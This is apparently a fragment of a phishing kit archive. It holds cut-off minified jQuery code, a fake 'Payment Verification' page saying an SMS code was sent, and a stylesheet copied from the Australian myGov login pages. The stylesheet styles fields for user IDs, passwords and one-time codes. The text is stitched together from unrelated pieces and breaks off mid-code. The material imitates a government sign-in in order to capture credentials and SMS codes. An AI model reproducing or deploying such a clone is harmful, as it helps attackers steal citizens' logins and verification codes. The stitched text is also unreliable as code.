e;if(Array.isArray(b))r.each(b,function(b,e){c||wb.test(a)?d(a,e):Ab(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)Ab(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)Ab(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&zb.test(this.nodeName)&&!yb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(xb,"\r\n")}}):{name:b.name,value:c.replace(xb,"\r\n")}}).get()}});var Bb=/%20/g,Cb=/#.*$/,Db=/([?&])_=[^&]*/,Eb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Fb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Gb=/^(?:GET|HEAD)$/,Hb=/^\/\//,Ib={},Jb={},Kb="*/".concat("*"),Lb=d.createElement("a");Lb.href=tb.href;function Mb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(L)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Nb(a,b,c,d){var e={},f=a===Jb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Ob(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Pb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Qb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:tb.href,type:"GET",isLocal:Fb.test(tb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Kb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Ob(Ob(a,r.ajaxSettings),b):Ob(r.ajaxSettings,a)},ajaxPrefilter:Mb(Ib),ajaxTransport:Mb(Jb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Eb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||tb.href)+"").replace(Hb,tb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(L)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Lb.protocol+"//"+Lb.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Nb(Ib,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Gb.test(o.type),f=o.url.replace(Cb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(Bb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(vb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Db,"$1"),n=(vb.test(f)?"&":"?")+"_="+ub++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Kb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Nb(Jb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Pb(o,y,d)),v=Qb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Rb={0:200,1223:204},Sb=r.ajaxSettings.xhr();o.cors=!!Sb&&"withCredentials"in Sb,o.ajax=Sb=!!Sb,r.ajaxTransport(function(b){var c,d;if(o.cors||Sb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Rb[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r("
 

Payment Verification

We sent a code by SMS to your mobile number XXXX XXX XXX.

mygov/app/sms_files/blugov.css000064400000211165151676702570012507 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{font-size:14px;margin-top:10px}.wrapper-mapwap form span[role="alert"].hasInfo,.wrapper-mapwap form p[role="alert"].hasInfo,.unauth form span[role="alert"].hasInfo,.unauth form p[role="alert"].hasInfo{font-size:16px}.wrapper-mapwap form span[role="alert"].hasInfo a,.wrapper-mapwap form p[role="alert"].hasInfo a,.unauth form span[role="alert"].hasInfo a,.unauth form p[role="alert"].hasInfo a{font-size:16px}.wrapper-mapwap form span[role="alert"] a,.wrapper-mapwap form p[role="alert"] a,.unauth form span[role="alert"] a,.unauth form p[role="alert"] a{font-size:14px}.wrapper-mapwap form label[for="answer"],.unauth form label[for="answer"]{font-weight:600}.wrapper-mapwap form label[for="createQuestion"],.unauth form label[for="createQuestion"]{font-weight:600;display:none}.wrapper-mapwap form label[for="email_add"],.unauth form label[for="email_add"]{display:block;font-size:18px}.wrapper-mapwap form label[for="mobile_no"],.unauth form label[for="mobile_no"]{display:block;font-size:18px}.wrapper-mapwap form label[for="decline-digital-identity"],.wrapper-mapwap form label[for="confirm-digital-identity"],.unauth form label[for="decline-digital-identity"],.unauth form label[for="confirm-digital-identity"]{display:block;font-size:18px}.wrapper-mapwap form input[type="radio"]+label::before,.unauth form input[type="radio"]+label::before{border:2px solid #808080}.wrapper-mapwap form input[type="radio"]+label::before:focus,.unauth form input[type="radio"]+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form input[type="radio"]:checked+label,.unauth form input[type="radio"]:checked+label{font-weight:600}.wrapper-mapwap form input[type="radio"]:checked+label:focus,.unauth form input[type="radio"]:checked+label:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form a,.unauth form a{font-size:14px}.wrapper-mapwap form a.form-terms-link,.unauth form a.form-terms-link{font-size:18px}.wrapper-mapwap form a.anchor,.unauth form a.anchor{font-size:14px}.wrapper-mapwap .digital-id-login-card,.unauth .digital-id-login-card{background-color:#fff;text-align:center;width:100%;padding:0}.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:600px}.wrapper-mapwap .digital-id-main-login-card,.unauth .digital-id-main-login-card{width:100%;max-width:100%;margin:unset;padding:0}.wrapper-mapwap .digital-id-main-login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.wrapper-mapwap .button-digital-id-main-container,.unauth .button-digital-id-main-container{margin-top:0}.wrapper-mapwap .button-digital-id-container,.unauth .button-digital-id-container{background-color:#fff}.wrapper-mapwap a,.unauth a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.wrapper-mapwap a:hover,.unauth a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.wrapper-mapwap a:focus,.unauth a:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap a.anchor,.unauth a.anchor{background-color:#fff;color:#254a7e;text-decoration:underline;font-size:18px}.wrapper-mapwap a.anchor:hover,.unauth a.anchor:hover{text-decoration:none;background-color:#fff;color:#254a7e}.wrapper-mapwap a.anchor:focus,.unauth a.anchor:focus{outline:4px solid #183052;outline-offset:2px;color:#254a7e}.wrapper-mapwap a.anchor.left-facing-arrow,.unauth a.anchor.left-facing-arrow{position:relative;left:1em}.wrapper-mapwap a.anchor.left-facing-arrow .go-back-text,.unauth a.anchor.left-facing-arrow .go-back-text{margin-left:.5em}.wrapper-mapwap a.anchor.left-facing-arrow::before,.unauth a.anchor.left-facing-arrow::before{content:'';display:block;top:1.2em;width:.75em;height:.75em;position:relative;left:-1em;background-repeat:no-repeat;background-position:left;background-size:.64em auto;color:#254a7e;background-image:url("../icons/link-arrow.svg");-webkit-transform:scaleX(-1);transform:scaleX(-1)}.wrapper-mapwap .button-main,.wrapper-mapwap .button-digital-identity,.unauth .button-main,.unauth .button-digital-identity{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-main:hover,.wrapper-mapwap .button-digital-identity:hover,.unauth .button-main:hover,.unauth .button-digital-identity:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap .button-main:focus,.wrapper-mapwap .button-digital-identity:focus,.unauth .button-main:focus,.unauth .button-digital-identity:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap .button-secondary,.wrapper-mapwap .button-minor,.unauth .button-secondary,.unauth .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-secondary:hover,.wrapper-mapwap .button-minor:hover,.unauth .button-secondary:hover,.unauth .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.wrapper-mapwap .button-secondary:focus,.wrapper-mapwap .button-minor:focus,.unauth .button-secondary:focus,.unauth .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword,.unauth button.showPassword{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;border-top:2px solid #808080;border-top:.125rem solid #808080;border-right:2px solid #808080;border-right:.125rem solid #808080;border-bottom:2px solid #808080;border-bottom:.125rem solid #808080;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0;min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content;background-color:#fff;color:#254a7e;text-decoration:underline;font-size:16px;font-weight:500}.wrapper-mapwap button.showPassword:hover,.unauth button.showPassword:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:hover,.unauth button.showPassword:focus{background-color:#254a7e;color:#fff;text-decoration:underline;outline:4px solid #183052;outline-offset:2px;border-top:2px solid #254a7e;border-top:.125rem solid #254a7e;border-right:2px solid #254a7e;border-right:.125rem solid #254a7e;border-bottom:2px solid #254a7e;border-bottom:.125rem solid #254a7e;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.wrapper-mapwap .digital-id-login-card-wrapper,.unauth .digital-id-login-card-wrapper{background-color:#fff}.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-bottom:0}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:20px;margin-bottom:60px}.wrapper-mapwap .login-card,.wrapper-mapwap .digital-id-main-login-card,.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#fff;padding:10px;max-width:75%;margin:0 auto;padding:0}footer[role="contentinfo"]{background-color:#000}footer[role="contentinfo"] .wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding-bottom:40px!important}footer[role="contentinfo"] .inner{max-width:1360px;margin-left:auto;margin-right:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-right:0;margin-left:0}footer[role="contentinfo"] a:focus{outline:0;outline-offset:none}footer[role="contentinfo"] .footer-heading{display:none}footer[role="contentinfo"] .footer-list{border-bottom:1px solid #999;padding:25px 0;margin-bottom:44px}footer[role="contentinfo"] .lower-links{margin-top:0;margin-bottom:0}footer[role="contentinfo"] .lower-links 